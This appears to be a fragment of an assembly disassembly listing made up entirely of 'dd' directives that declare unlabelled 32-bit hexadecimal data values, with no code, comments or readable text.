		dd 8B06155Eh, 2010DE8Ah, 8B5414D5h, 117600Eh, 640119Dh
		dd 0DD82E681h, 613F2EE3h, 396AA4C3h, 3CD0F8C4h,	386E4B24h
		dd 8463F804h, 1D7981A8h, 35540413h, 35BDC688h, 60612DA5h
		dd 0C02C337h, 60BF8375h, 0F094E181h, 93BAA37Ah,	74FF6420h
		dd 0E8E9490Ah, 0AA8A10Fh, 61812CACh, 0F98A62CCh, 0B45A482h
		dd 443CBA01h, 68125F8h,	4A4014E8h, 5959221Ah, 0E26E4A7Eh
		dd 0E3DF2D01h, 558BBF53h, 1A51A137h, 1F7269CAh,	821511F1h
		dd 0A6F57B54h, 9C1F2E2Eh, 6605DC5Eh, 870F501Ch,	0D483A824h
		dd 5EB7C1CEh, 5112B8FCh, 570BEBC1h, 43C01788h, 9A32609h
		dd 31B59523h, 0B9599F3Ah, 69089200h, 6F312Ah, 6BF5AD30h
		dd 0B1611256h, 4275C505h, 0D817276Ch, 187D6D4h,	18192964h
		dd 4E75256Dh, 0C31B88C9h, 0DF8233Fh, 0E20BB9E3h, 88DF808Ah
		dd 86A03886h, 0BDA6FFEAh, 3C800B44h, 96F4FEE7h,	44B68509h
		dd 514A498Bh, 0CAA40B71h, 150A2108h, 2725285Bh,	1AC4DA47h
		dd 4BB3DC60h, 0DDA80800h, 55D4BEAFh, 0DE51510Fh, 0CCB8492Dh
		dd 0D789B22Bh, 9C000911h, 615CFA72h, 4328F9DBh,	0E124C18Bh
		dd 467C6C20h, 0DC9B0016h, 87ADBBE2h, 527B62D3h,	111F1E71h
		dd 117E801Bh, 0A57AF06h, 52F3CC98h, 1AC702E2h, 58A78B5Fh
		dd 0FA04CF53h, 96ECB5Bh, 2D0D9D23h, 4904345Ch, 2EE01FE6h
		dd 74EC2DC9h, 330B230Eh, 223A55FAh, 7DBF0505h, 12713C4Bh
		dd 0E046E6DEh, 58A48B17h, 42549333h, 8229EDC7h,	0D56FD2h
		dd 5490E3EEh, 3CD6A24Ah, 0F1DAACAh, 0BA6641B7h,	3A61F4C6h
		dd 0F814036Eh, 0BA8083E8h, 892A115Ah, 0F73C4998h, 0EB5B0192h
		dd 0E99D6107h, 786224A3h, 9D009480h, 6CFCF90Ah,	79AE719h
		dd 840DC681h, 0A6EDC9CAh, 0EB309DC0h, 1D720051h, 8BE0D3B7h
		dd 754AE9C1h, 0D88CC020h, 10659CA8h, 0FF018135h, 0E93845B5h
		dd 0A0858D03h, 0C4B7EDAFh, 7176C1D0h, 0FE8B002Bh, 0CEF18C1h
		dd 20043C68h, 28FAEDCh,	0E00D4B57h, 0A095FF7Fh,	0C232E91Ah
		dd 4585C66Bh, 5600195Ch, 0C530DF68h, 8D7EC4A9h,	85FF6923h
		dd 23A90E0Bh, 6D6A5073h, 6E4A7Ch, 0C1C36112h, 0EB06E000h
		dd 0E09104Bh, 0C53C1E2Fh, 0ACDA001Ah, 0D2D41CA4h, 0E4705C71h
		dd 3134CE07h, 27501BF5h, 0F2D129B3h, 0C7DD075Bh, 0CF17E62Ah
		dd 6743DFCFh, 3E85A6DBh, 41280001h, 7DD427E6h, 0E9C30B72h
		dd 78100EA4h, 420228DFh, 0BD8357B7h, 962AD0D1h,	43381A12h
		dd 7DCF556h, 20E95C42h,	99C06041h, 0B850CA8Bh, 952A034Bh
		dd 0C230D20Dh, 0DAEF8F04h, 0C08B2540h, 0C4C01B4Dh, 31F39615h
		dd 0D9D058C2h, 9751113h, 2EE51288h, 508C749Fh, 6EB86E53h
		dd 8D0084D0h, 0ECDBC99Dh, 5B3E8295h, 111CB158h,	161A3204h
		dd 29E90939h, 0E08107C6h, 59AFE4F6h, 0C2F195F4h, 45FAF371h
		dd 2C5F00A7h, 7F61D8CAh, 9E772A16h, 7F8B288h, 0FC12B395h
		dd 0ED57E05Fh, 6B01429Ah, 0B9660875h, 67208F5Ch, 0EE491383h
		dd 0E07BB605h, 87EAA07h, 0F20ECF4Ch, 0CA292Dh, 9CF8915Ah
		dd 5250162Dh, 53334460h, 13DEBC59h, 35B62404h, 78F3B0E3h
		dd 0CC9714E8h, 40CA56D9h, 88554B0Dh, 41F5C01Dh,	1400EFFEh
		dd 2E6E86D0h, 0B080B6EEh, 24DD207Bh, 0BAC69060h, 1261D55Bh
		dd 0C98F0F50h, 92E0F098h, 0E8FE904Ch, 8E008C1Bh, 0FBA440FAh
		dd 9CE3C52Fh, 8B71406Dh, 941DD96Eh, 6BC076E4h, 316026B2h
		dd 15552A8Dh, 0CAF304B7h, 0A84007BDh, 22DD2D79h, 74B58D23h
		dd 1E6A1DDh, 121F28D1h,	6B6F3067h, 48569DAAh, 29160615h
		dd 14D1A708h, 78C41B18h, 56A40711h, 8F65D17Fh, 668D77BDh
		dd 905FF9AAh, 2F3D3723h, 32F162B7h, 8189475Ch, 63669A0Ch
		dd 6E544B34h, 4C5201C7h, 35616EE3h, 383F9B34h, 0FFD86070h
		dd 0F08AD00Fh, 0EB8531C7h, 62F6ADAEh, 0CE534738h, 72DBF073h
		dd 0B9830CAFh, 6162D6C2h, 846C3041h, 88E8F164h,	0A712D246h
		dd 0B905D49Ah, 0F0A250CAh, 0E6A3EB00h, 4FD94B22h, 0B8190701h
		dd 39309B7Ah, 4A1044CAh, 0D18523E9h, 21F3C0CFh,	0A600B95Fh
		dd 0C0C63281h, 7318942h, 4675E10Ch, 3B630A8Bh, 0C558CE14h
		dd 0A71BB918h, 164199B5h, 6E4FB536h, 0BFDF0147h, 71E5B38Dh
		dd 0DB4ED666h, 2CD80A8h, 0B0D1BF0Fh, 0D1C591F6h, 4971818h
		dd 1261552Eh, 5112B4E8h, 1F07F500h, 7FE656D7h, 205A90D9h
		dd 71902515h, 2A0C14A1h, 1923E43Bh, 18AB4000h, 591F5B8Eh
		dd 92C75F5h, 46CC64DDh,	121A8A60h, 69331DBDh, 0A959294Ch
		dd 96E9E5FCh, 3FE7408Bh, 8F384A7Bh, 93CF8087h, 39FD9568h
		dd 0D78B1343h, 4DF90181h, 2946D5B8h, 97B85Ch, 0C5704633h
		dd 0C0A7BE8Eh, 880F1D14h, 0D9795023h, 0AD3F3293h, 0C76A188Ah
		dd 711B93B0h, 24091814h, 20197EB5h, 0E42997EBh,	6FCB0B01h
		dd 25EF4492h, 90851FC7h, 0B6824F1Ch, 11D90801h,	0A5B888B1h
		dd 56EC2542h, 0CB381397h, 0FA90B8ECh, 44A70EF2h, 0F040A6E5h
		dd 1181F75Ch, 3C3C68F4h, 0BAB2AAFBh, 2E71FD09h,	11409D21h
		dd 0C7A7801Dh, 5890EB4h, 0EC67A255h, 0FF7780A4h, 0E891FC5Bh
		dd 11169749h, 0E4388117h, 548A498Ah, 0C9CF1B2Fh, 57722389h
		dd 0BED1B782h, 3B40361Ch, 0B80495ABh, 0F09000BFh, 23268951h
		dd 292E15FDh, 4026879Dh, 0D230B145h, 5A904F1h, 936D7DBAh
		dd 6CB5625Fh, 0CF707E5Bh, 2B9A3F2Ch, 88B99905h,	378D0E9h
		dd 31BE459Dh, 7BDD6801h, 0D8F59238h, 0F4A6CE50h, 0E74858CCh
		dd 8AEB1D31h, 0D4882CEFh, 0CDE13437h, 39698F07h, 0DD9D0FC8h
		dd 0B4059250h, 7A0B0121h, 85BA2F6Fh, 0D24B659Dh, 251C4431h
		dd 566D046Ah, 0F36260CFh, 16A867EEh, 7663E2h, 0FA68D382h
		dd 312D6573h, 0F0091B60h, 3D08B95h, 24348161h, 264B63FAh
		dd 0A30BEF6Eh, 0EC140B3h, 4166020Fh, 8263AA01h,	0F7800269h
		dd 349C35B9h, 64505C2Dh, 0BDFB0112h, 0A92B75C4h, 9B52F2FCh
		dd 26FF300h, 2D1BBB47h,	0FA4F5C8Ch, 0F69FC900h,	310F5250h
		dd 5B585A1Ch, 7C4C976Ch, 0E0BA7814h, 9D2F52B5h,	5EF8C84Bh
		dd 0A4954B00h, 24854FEh
		dd 85B813DAh, 0E24E1DBDh, 5AFB8B30h, 55D99D23h,	6F3BD012h
		dd 0DC7A019Dh, 0A9831F93h, 40B54030h, 0C998FF32h, 5273D7AAh
		dd 4F0F8070h, 0F8BF8C86h, 7B453690h, 5EC0285Bh,	5F92BFAAh
		dd 2291E008h, 53FE0F7Ch, 0D18588F2h, 0ABD5B103h, 88706B1Fh
		dd 4AE7344Fh, 8C91845Ah, 7E003B0Eh, 5D2C2853h, 1FB3DFAh
		dd 8D140AE6h, 2225F004h, 0E6B3C613h, 430644B6h,	6C661304h
		dd 0E49280CBh, 40F89B5Fh, 4B0FF710h, 84D5389h, 0DB801222h
		dd 873A0D05h, 0D3170088h, 36C789C0h, 0DD02CE1Ah, 5A453465h
		dd 588A9159h, 8E001C73h, 0E428FB8Fh, 690B46BAh,	4905AA8h
		dd 44540E0Fh, 8634656h,	0C7E6160h, 0AC12A398h, 0BAD390D8h
		dd 6A59F0D7h, 8D89130Bh, 0BB3C8079h, 1126882Eh,	4812293Eh
		dd 0DDBD01D0h, 9E50811Ch, 0F0836066h, 6661DEB0h, 6CDF526Ah
		dd 2928E194h, 601364B1h, 0E6F4088h, 88826828h, 6E2EEE20h
		dd 870574C6h, 830FF792h, 0DFC0AF4h, 52B58D61h, 0B2C83382h
		dd 0D46A301Bh, 0FD84D600h, 8B6D13C0h, 95312ACAh, 4CCBF266h
		dd 0DB4A3E89h, 80AE895Dh, 9E17AD35h, 7B470942h,	2AB062B3h
		dd 0E10584BAh, 0DABFA2BDh, 0F88A9E05h, 0DE99A06h, 0D6DB0725h
		dd 10AF2E11h, 923AB6E6h, 71EDCC14h, 8B404BA9h, 23E4D281h
		dd 0B01C51BAh, 6F6B2565h, 31BF5148h, 0A26C330Fh, 0F5BF3116h
		dd 0CC203B9Ah, 16C279h,	22D0307Ch, 12CAAE05h, 0CAA4D1Eh
		dd 0FC8A4080h, 99B58B59h, 2D3B2809h, 0C3A6205Dh, 61B41973h
		dd 417467Eh, 84FDE05Bh,	0A499C684h, 2D809E30h, 4161207Eh
		dd 8359A431h, 26149D08h, 68F084Eh, 651CAFA6h, 20462522h
		dd 510C25B7h, 41356694h, 0FB726B2Ah, 15DDF99Dh,	93D8277h
		dd 0B9027DA7h, 81FB4BE9h, 28DAFD8h, 0F0E81D7Dh,	0C56D4019h
		dd 952760E0h, 5AE30058h, 66B096C0h, 82128FB9h, 54823880h
		dd 9889F8CEh, 134CB1C1h, 48AA20E9h, 7365F680h, 0C20A5C30h
		dd 5FCF591h, 0F7C5CBEFh, 52A720E9h, 8619A21Ah, 2F669BA8h
		dd 55D95E02h, 0A61816F1h, 3BDA3014h, 530DD2CEh,	6E2BEB96h
		dd 84FB1C20h, 8C08E613h, 0A6858908h, 691CE500h,	291287D6h
		dd 0D4521BDh, 27C74061h, 0E483EFB3h, 65539AF5h,	0BF430F86h
		dd 70229967h, 0EE715390h, 0CEC44000h, 82A327h, 0A6574D41h
		dd 2190F607h, 6595E24h,	48001311h, 5AD703CCh, 0DD00EB4Ch
		dd 4A875C60h, 717B5F13h, 78B3BAAAh, 819000B2h, 48B9D3D7h
		dd 0E69E0344h, 0C6A3E64Fh, 70FDBB50h, 0AB12C5A7h, 0C3DB58AFh
		dd 7801CE8Bh, 352BC7BFh, 5F6E3B9Dh, 6F437D00h, 0FF4EB6D2h
		dd 8845B55Ah, 0CC89800Fh, 8A033220h, 8BFE1870h,	0F21B1897h
		dd 0D8804C9Ah, 763D6F2Dh, 36EFB080h, 2C3FFC72h,	9C19066h
		dd 122E0DBDh, 0D0C185C5h, 0C00B61E1h, 7B5BC990h, 5DB14321h
		dd 0DC0674F6h, 4CED3E34h, 8701D498h, 776016E4h,	2298C1A2h
		dd 578AB102h, 0E1E5E380h, 4672957Eh, 49DEE924h,	0E8ACF179h
		dd 0D8341260h, 7F68001Bh, 66FC6B2Bh, 64019F47h,	61759DE1h
		dd 4B1006E9h, 0CB039996h, 0C6818DBFh, 80C1001Ch, 0EEE9D4E2h
		dd 76E3FFFCh, 6AB4F034h, 0D1DA03B5h, 8174B97Dh,	945C07D0h
		dd 2B32644Ah, 0C03ACA80h, 9429B504h, 20BAC1Eh, 988621B9h
		dd 0F5313041h, 3CFE61F8h, 1808D2A1h, 3EA28007h,	168FD1Ch
		dd 2691FCBAh, 1E254E80h, 25573BB2h, 9249814h, 95F3C161h
		dd 0D3207FA9h, 0B2E99D8Bh, 0EA72A24Dh, 32B755D8h, 800C9A00h
		dd 907D21E1h, 0B5E3107Eh, 9B112F1h, 45A083E7h, 0F09521Eh
		dd 1B8BDAB7h, 30E8F442h, 595F3020h, 50D912C1h, 8004D73h
		dd 8909DC58h, 6807BA8Eh, 26DEFAE4h, 2E9D5061h, 90055C28h
		dd 0D5A18D23h, 281E305h, 976DC9BFh, 956C54h, 8611FEABh
		dd 600E2DDDh, 3642A700h, 3B6787AFh, 0DF1D12CAh,	0FCFE8853h
		dd 0F3503000h, 690C39D4h, 66830326h, 0C498DFDCh, 317C1FA9h
		dd 5B25C2E7h, 3E6986F5h, 0C404A7B8h, 60E12F17h,	0B1B515C0h
		dd 3922840Ah, 0D0B9072Ah, 6B7848E9h, 801297E6h,	1CC18EC5h
		dd 8D82F298h, 0F18D2960h, 0BB72048h, 5D082BBEh,	88331D07h
		dd 0C0972D4Dh, 8214D7E0h, 30D0BAFBh, 2F448DDCh,	0B896E975h
		dd 0CDFF8FAh, 2A2D2CC8h, 0E912809Ah, 0C533581Bh, 0F93DD887h
		dd 0EDB009CDh, 0FCA708C2h, 34BD16D7h, 29880F25h, 40C2560Ah
		dd 0C33BCE10h, 4C530201h, 28011E92h, 28DA8930h,	44C75B63h
		dd 75EE8997h, 1449034Ah, 60F5A67Dh, 0A0DE106Ah,	2211485Ch
		dd 0B5A1000Ch, 0C389F46Fh, 14E2FAC8h, 7B7BD24h,	0F5D8504h
		dd 2B99542h, 0ACD3342Eh, 38458619h, 0D799488h, 0F52BBF20h
		dd 17C4D9DDh, 0E4E12050h, 7B5018DAh, 24AD2489h,	307EB5F4h
		dd 0A3E4AFAEh, 13FDE900h, 3D33A4B8h, 0BD7003Ah,	93237C17h
		dd 5F0BF994h, 0F108D2E8h, 181AD934h, 20DF02B4h,	871D82A7h
		dd 62CC31E0h, 29BDBCCBh, 0DC2C5CC3h, 0CDE57506h, 0D541F64h
		dd 7DE8AFF1h, 0B83B69ABh, 0C8C0008Ch, 882C8571h, 0A6DE9A02h
		dd 0EDAFAC2Ch, 0DD68C253h, 0BA03C45Ch, 4F2CE8B3h, 7CD66EA3h
		dd 362873Fh, 0D7B0B2CFh, 29A21220h, 0B201A30Ch,	48CC301Dh
		dd 1CA60A00h, 43F0B2C5h, 0F1810270h, 62E30D3Dh,	1070041h
		dd 0E719529h, 0D8CAA849h, 0D4B7B5C5h, 367ED400h, 4E8B62F3h
		dd 0EC2235FEh, 160A2056h, 83CD8D09h, 7B2E8E1h, 16C44547h
		dd 218E7E60h, 6AB50B25h, 7864702Ah, 25099585h, 0F1BD3418h
		dd 1BAA5200h, 0CE02F412h, 0E4D250D5h, 435F01C4h, 45E85910h
		dd 0B9594207h, 0C944D056h, 8107D6A8h, 0F16B5CD9h, 5E2EE832h
		dd 39C69F5Fh, 206C53EFh, 0EE802EDDh, 154F5185h,	878057DEh
		dd 0D650C75h, 1E629A00h, 0EC5C4BB9h, 0BD8B1467h, 0CF85BE2Dh
		dd 0CA53B406h, 5DB5890Ah, 0FD0B791Dh, 8155BD0Bh, 0E86FCF33h
		dd 2865AE9Dh, 0EB5E00DCh, 0D7E96D97h, 98C8FEF0h, 69B187F5h
		dd 6061EDE8h, 20C4F078h, 9E9E2EADh, 0AF49AC0h, 0D700A3AAh
		dd 0CE4CCFFAh, 617D681h, 0E807DD41h, 949ED334h,	0C80C00DCh
		dd 6027451Dh, 0B45C4806h, 1109140Eh, 0ED69DBCh,	0A9A0C8E7h
		dd 790367B5h, 34EE6E46h, 25541074h, 0D5E81C13h,	0D07E73E5h
		dd 0D00500Ah, 0CF386657h, 4D8BFD1Ah, 0C20AAFBh,	314966A0h
		dd 699E6FC8h, 8040F54Dh, 39D937Ah, 0BDC2367Fh, 6C386CB1h
		dd 0F833583Dh, 83008C17h, 66B22767h, 304D8CBEh,	60A74BE8h
		dd 0D14D8D2Bh, 0CE81021Dh, 0E31D39D0h, 19781009h, 0FE332E1Ch
		dd 98D322h, 9D3B7EF3h, 93041623h, 72AEAE99h, 54ACFD9h
		dd 4C5405CAh, 2C7B00DCh, 69039EA6h, 0E6253B43h,	3D8106CAh
		dd 0E48007C9h, 0DBE861E9h, 296040A0h, 1054A5B5h, 0FBCAC1E6h
		dd 0D3A5E951h, 0CCEB7024h, 0A8457400h, 0EA601B50h, 0F88B17B8h
		dd 8D871929h, 0DD59C2B0h, 52885C00h, 0EA9C7A1Bh, 1B429512h
		dd 0DCF7F4h, 0DB5EC7A1h, 4CD976FCh, 25400158h, 230C5315h
		dd 0F507582Eh, 21495D01h, 8BCDDBD5h, 0DCB076EAh, 382E9002h
		dd 40C1FFC7h, 12BBFC2Eh, 0C4518D8Bh, 49138123h,	892B0Bh
		dd 4E822678h, 50DF1DB3h, 9D1B0123h, 0CE9EEB77h,	3D852A19h
		dd 91F5A883h, 0FD26D82Bh, 6A34BF0h, 1D7CD900h, 0BE297ED1h
		dd 5F7CE0h, 66BF5011h, 89724D36h, 5C9B1C4Fh, 2A467DC1h
		dd 4ED241F8h, 9D893B8Bh, 0B529D2Bh, 0C71988B0h,	0FD5F40C5h
		dd 0F250DF9h, 0B7AE483h, 5B94A3BEh, 2728373h, 0EA6995D2h
		dd 0DCF5F4A2h, 38396803h
		dd 1735EDA8h, 0A20CD950h, 1A891214h, 56B8CBFDh,	0DC4BF700h
		dd 0D0C71332h, 0FBB0BFB3h, 0AAA815BDh, 45B4289h, 4A81E2DBh
		dd 20E7D9B3h, 51D0F151h, 161738Ah, 3161BFC7h, 5BCDC8AFh
		dd 0FE13FBC0h, 355D04C9h, 0E8ADBCE1h, 1B76001h,	0A02C59BDh
		dd 0BB121D3Ch, 0E7E0D89Eh, 4E186B02h, 40A3087Ch, 0BA9C7510h
		dd 1B25458Fh, 0BB188065h, 0EA88726Ah, 0AA672C5h, 2305BD89h
		dd 20A24395h, 0F074D956h, 2BC3F92h, 0B54A913h, 8D9829B5h
		dd 0C1821589h, 62B8DB68h, 0A4DCCCE9h, 2A4B39DEh, 7EA86112h
		dd 3F9B0320h, 0A0B9F50Fh, 4076E0D0h, 67B49DF8h,	7E787E2Bh
		dd 43B4014Ah, 0AFDC9694h, 0A9EAB4CDh, 0FAE04FB6h, 132CBE62h
		dd 0FD0A9273h, 1542AC28h, 0FC60022Fh, 61561840h, 1A5E89E2h
		dd 3300B86Eh, 0E5847EB2h, 0CF4E8BE6h, 0C36CFEB3h, 1C537176h
		dd 321AE290h, 0B5A442B0h, 0F4BAB1DCh, 0C40A1E4Ch, 79C8870Fh
		dd 0D0B1E8h, 2D06AFCFh,	1324CA89h, 0A03B63DFh, 9E5F6403h
		dd 2DACF121h, 0BFB8DCh,	8BC9A41Eh, 0D15D0D26h, 2F03C39Dh
		dd 0F4C8E8F3h, 4500E339h, 0AFE1862Dh, 0BF93A978h, 59F5A918h
		dd 19E9D8CAh, 0EC9E1901h, 84CC472Dh, 0BF4935A3h, 0B8F1EDEBh
		dd 0C8250BA8h, 0DC81CABCh, 0AB0DE9FAh, 3D78877Fh, 0DC60E366h
		dd 0F1D10981h, 0DA536A63h, 968A078h, 65B501CAh,	264C5DADh
		dd 1D9F08Ch, 28C80F51h,	0B9C0EF4Bh, 7F33E31Ah, 115A6058h
		dd 0BE3F1399h, 6A618089h, 56DEF7F6h, 0F3F05402h, 9D005369h
		dd 6FF92FBFh, 7778E981h, 2370F72Eh, 0BC04ED19h,	7A578066h
		dd 69E02590h, 0DDD69E27h, 9C1400DCh, 0DA63E602h, 1A13AD7Fh
		dd 0E91F60D3h, 958B46C4h, 61CD42AAh, 33B5C58Ah,	5CA8F180h
		dd 9E604Fh, 1DE7A2D5h, 6FD9D09h, 42DFE495h, 25CD4082h
		dd 4FF88BB5h, 7694269h,	8DDE5C10h, 0FD422048h, 5948F3DAh
		dd 1D5B181Ch, 83394387h, 8975F290h, 0B5DEA10h, 6B9F91Dh
		dd 0CE22F5E1h, 0B6CCC69Dh, 0C0FE4E0Ch, 0B0505797h, 350F7576h
		dd 13442289h, 43027430h, 61C7014Ah, 8BECEACCh, 0D6487CDAh
		dd 46A2FDB6h, 91933754h, 2256B0C8h, 290013E9h, 0EF108D68h
		dd 0C19596h, 0F5B6EB2Fh, 1D195246h, 0FE302C70h,	6554D65Fh
		dd 9B055BEEh, 496780D9h, 71F3A68Bh, 835F1252h, 8035C6C0h
		dd 59909CC9h, 87003F1Dh, 85B434AEh, 6B7FB750h, 907B4C9Bh
		dd 500F701Dh, 4E2B2E80h, 89BC4E9Dh, 8044B1CBh, 0DCA894h
		dd 8D53CC2h, 87F21A02h,	10F53027h, 3489A30h, 0B964B798h
		dd 6412E4ADh, 0A8ED8D89h, 4ADDE34Eh, 42280C6Eh,	1E6920F2h
		dd 0C750CC4h, 8AC0F510h, 73C8321Bh, 6F5B7E00h, 0EC9613Ah
		dd 0BCF50184h, 24DC85E1h, 207DC68Dh, 0D780571Dh, 0FF5F170Ch
		dd 2047E3D1h, 0D9694501h, 0D0EF38Bh, 0F26AE3B3h, 0DB80289Bh
		dd 0AB99B6F7h, 0EB006FEDh, 9D03262Ch, 5F09439h,	5F576050h
		dd 28C9806Bh, 4204A732h, 8A9A2500h, 0B81C8BAFh,	163305E7h
		dd 805823A3h, 6152DD15h, 3EB0A892h, 0C0087529h,	26163D08h
		dd 0E9093CACh, 50F40E41h, 80655E58h, 2627BB66h,	703A7BDAh
		dd 0B72ED387h, 1A326521h, 3E7F56EAh, 9FBDB77Eh,	46E0809h
		dd 0A1500574h, 4E2CF09h, 0ED83A7F9h, 809F03D4h,	90D88BABh
		dd 0F689822Eh, 0CC00DC7Ch, 0E20E3F14h, 5C1F4D19h, 81218A9Dh
		dd 0FF64F803h, 4E28435h, 0D345975Eh, 164B2589h,	0BEA006F7h
		dd 3E0184D9h, 0DC27E18Eh, 0CC3EF94Eh, 3C24B33Ah, 0ED088957h
		dd 6A5B0102h, 0CDFD8AFFh, 22562AB5h, 0D93CA06Fh, 0C44AED4Ch
		dd 1006EA80h, 0A0691E09h, 8014492Ch, 3BC0F4E9h,	1CB36FBBh
		dd 94B07067h, 260C1066h, 8B1C54E6h, 71E42722h, 0D5526C5Ah
		dd 0A19D08A0h, 0B6123E31h, 11BEECC8h, 0FC0906BAh, 0AC82C18Bh
		dd 0E1791DA5h, 0E09BB309h, 278D09D0h, 8CCE306Dh, 0DCEF8107h
		dd 2BE296FEh, 9DD682C8h, 0D1CB0E05h, 0C454671Ah, 630DA441h
		dd 74117C60h, 49854F50h, 0F183F54Fh, 0CCE0BF07h, 10DC70F9h
		dd 31856125h, 3B61D050h, 16E2C8D0h, 3A6CBB81h, 92306357h
		dd 0E9EDC5C1h, 0EB530354h, 4BFAD117h, 23831857h, 0FC1259Dh
		dd 848D0CD9h, 82373439h, 5E66C84Bh, 1D0FD705h, 0AE40F2h
		dd 96A35B99h, 0CA0AA421h, 30A583A0h, 0C781FE00h, 278F3F58h
		dd 0C490891Ah, 7D7ABD01h, 5225DDCh, 0EEDBB58Dh,	0BCE8FDEDh
		dd 0B8F71C2h, 9C92EAF2h, 25003AD1h, 3679F764h, 733B014h
		dd 512E1B66h, 3935D03Fh, 0CDB56AC3h, 7601E0E3h,	1713A914h
		dd 25208A0Fh, 251ACABBh, 0CCF93248h, 7780F4A8h,	64FF7B9h
		dd 68A027B7h, 500AA3BDh, 0E0D4F380h, 0D40EFC16h, 977710F9h
		dd 0ABC2BCEDh, 5C6380E8h, 9070A497h, 75BD11D4h,	110E5023h
		dd 85B803E3h, 88066B8Ch, 0B954B501h, 11A2BAF7h,	0F873865Bh
		dd 7D9FE5CFh, 0ADEF0632h, 46D1C233h, 0E983D01Eh, 2EF475CAh
		dd 216465Ch, 0F115843h,	10B8668Dh, 7C2CB99Dh, 4E218822h
		dd 7DA260h, 685A7BAFh, 14A1F84h, 0B79EF21Bh, 0C558C49Ah
		dd 70882F5Fh, 6ADEC33h,	0D617154h, 0B7BD1788h, 0AE7F0099h
		dd 541C07DCh, 8B2FB304h, 0DBACDD95h, 80159B4Bh,	418ACC01h
		dd 97C3285h, 62959FAh, 9B5DCD14h, 30BF79D9h, 55208DAAh
		dd 7276900Ch, 3183EC2h,	2A1D08EFh, 5819C9E4h, 77F5B486h
		dd 7F9C10B7h, 0B5860FB9h, 47C1CB2Eh, 2B826F73h,	7F09EA6Eh
		dd 0DB04FE5h, 0F5005614h, 0F8051CE6h, 0FE0BEB1h, 4FC7C806h
		dd 0E382C5EBh, 0F8090819h, 977F7065h, 73092B3Dh, 900F62Eh
		dd 0A13A1405h, 3707D7Bh, 0FBB70935h, 0C23252B0h, 31714760h
		dd 90B8FB9Eh, 0BB024C21h, 29FC4830h, 0F707CD74h, 0D84036A8h
		dd 1EFD271h, 0E1FF612Eh, 6405BD23h, 0E7A0517Ch,	51D00271h
		dd 25F5108Ch, 790455C6h, 0B719D10h, 7F48E927h, 0C03D17FFh
		dd 852F38ADh, 5F0D68A9h, 32E28C0h, 70AA2979h, 2201102Ah
		dd 2FB79D46h, 3BC4F01h,	949A9247h, 3313CB75h, 0DD860FF8h
		dd 1A7A2EE9h, 0D36D3100h, 0A69FB9D6h, 945F2Dh, 7757BF36h
		dd 601C2858h, 2E69279Eh, 5125B3D1h, 3AAD0053h, 91279CA7h
		dd 48CE9F00h, 7AD3F14Ch, 1FCC00E4h, 676AFE42h, 0E12680FCh
		dd 0D438C604h, 0C9500AB0h, 1410894h, 40291560h,	8D253116h
		dd 338CE1A1h, 0DB2C35F1h, 0B83D44h, 0F375FC30h,	538BC46Bh
		dd 7DDFA700h, 7CA2A827h, 5EBB091Ch, 79445067h, 0D978579Bh
		dd 3E6027AFh, 0BCFCB7E0h, 3988F55Ah, 1F0338FFh,	4FC3FA48h
		dd 0A2C01E6Ah, 4709E333h, 87395C32h, 632DFB22h,	890ADB20h
		dd 2A307B60h, 0E761D68Bh, 13FDC460h, 2526EF7Dh,	80F9FC57h
		dd 6C724615h, 365B1D37h, 0BD3A3056h, 739625EDh,	0CFC40D93h
		dd 82B81FADh, 54E3E633h, 0FC14EC85h, 0EDD9E00Ch, 515DB50Ch
		dd 0C2E90BC0h, 0D09F7B01h, 0F1055927h, 0D83A3B6h, 8EBB307h
		dd 0D8080689h, 3CBF1771h, 0C77A0EF2h, 952512h, 718C4FFFh
		dd 0B5178B27h, 0C17BD9DCh, 25A0CB07h, 0F0615330h, 29E57E12h
		dd 3E8AFA9h, 2E5D7816h,	8108C508h, 0ED9D2956h, 7D453519h
		dd 0A5489F9Bh, 6EDBBD0Eh, 8360053h, 8B96BDADh, 0E8CF2F35h
		dd 0DB198168h, 8567100h, 0D882984Dh, 0CB620429h, 985BF5EEh
		dd 0BF0966BFh, 8B89219Fh, 707ED362h, 1F90430Fh,	181797Ch
		dd 8238E331h, 25799624h, 7C8E4242h, 3F028946h, 0C8BEB72Fh
		dd 6147BFA8h, 0FFFECAB1h, 6E0722B5h, 0C968C03Ah, 60F0CBF2h
		dd 3ABB5053h, 236A836Ch
		dd 4CCAA54h, 0FB40955Bh, 537D1136h, 0FDC029Ch, 0AADF5E23h
		dd 0E87207F3h, 8C8D3496h, 294A608Ch, 0B400B9F2h, 0BB90613Ah
		dd 2F2FBAD8h, 42EDC22Ah, 117C0E05h, 0AE50A46Bh,	588C6BFDh
		dd 0A4CD00A5h, 135DC7F6h, 6B126618h, 0F1645BA9h, 1BF4D185h
		dd 89379D61h, 0D0F20D00h, 0AEC3974h, 830FF616h,	0DA8B43CAh
		dd 85C7DF90h, 0CFAD3FB1h, 9491604Eh, 46B5607Ch,	80B89974h
		dd 0C5FBCA61h, 1F0091A7h, 22499CF1h, 3CE10984h,	0E62D58C8h
		dd 0BC12A442h, 0C257E369h, 0F44176h, 59F43F9Ah,	544E20F0h
		dd 49E9981Ch, 4032CF27h, 820E1F68h, 8DB3BE09h, 0DB6E8039h
		dd 2529C0F2h, 27C0ADBDh, 0C5C3050h, 874439EBh, 10E8C101h
		dd 0C1030EADh, 5803F14Ch, 0E70D182Dh, 0DE3636EBh, 0EE396404h
		dd 501B3316h, 21402829h, 13CD5818h, 1B095701h, 0B5C08BC0h
		dd 0EB096937h, 325C54BCh, 6DC2CFFCh, 0B1E37D7h,	7F943335h
		dd 4118513h, 0F3E842E9h, 2E52C54Ch, 81406F1Dh, 913190CBh
		dd 5DDC662Eh, 7E45F84Ch, 1DBD828Ah, 0EEBAC410h,	0D2EFB712h
		dd 8814D343h, 0C23C6A7h, 614E175Dh, 2A41D962h, 88D47230h
		dd 0C72CDA8Ah, 4A39BD06h, 4100C06Fh, 8FCE5C99h,	0C9259529h
		dd 0D878A40Bh, 0B6DA12AAh, 3802E092h, 307002ABh, 8E9E2BA4h
		dd 0FC7C9BB2h, 0CAA516DCh, 0D5930547h, 69B92120h, 0E2D26332h
		dd 8296301Ah, 0B625F604h, 20AB697Fh, 0A9FEF329h, 0AA0212E2h
		dd 47D3805Bh, 56C0B25Fh, 0E002DCC0h, 0F2CB269h,	81B9C018h
		dd 88E3BC08h, 43A02D01h, 0B9DA4D00h, 0E33AE10Bh, 0C4862689h
		dd 4900FC48h, 631A1D67h, 0C9F697EEh, 0BAE26976h, 19B2C959h
		dd 0C2830109h, 800B3C04h, 3677B202h, 508912CAh,	106F20h
		dd 0FD2F43BDh, 2AD27A89h, 41816713h, 0C585D02Bh, 0E32DFF94h
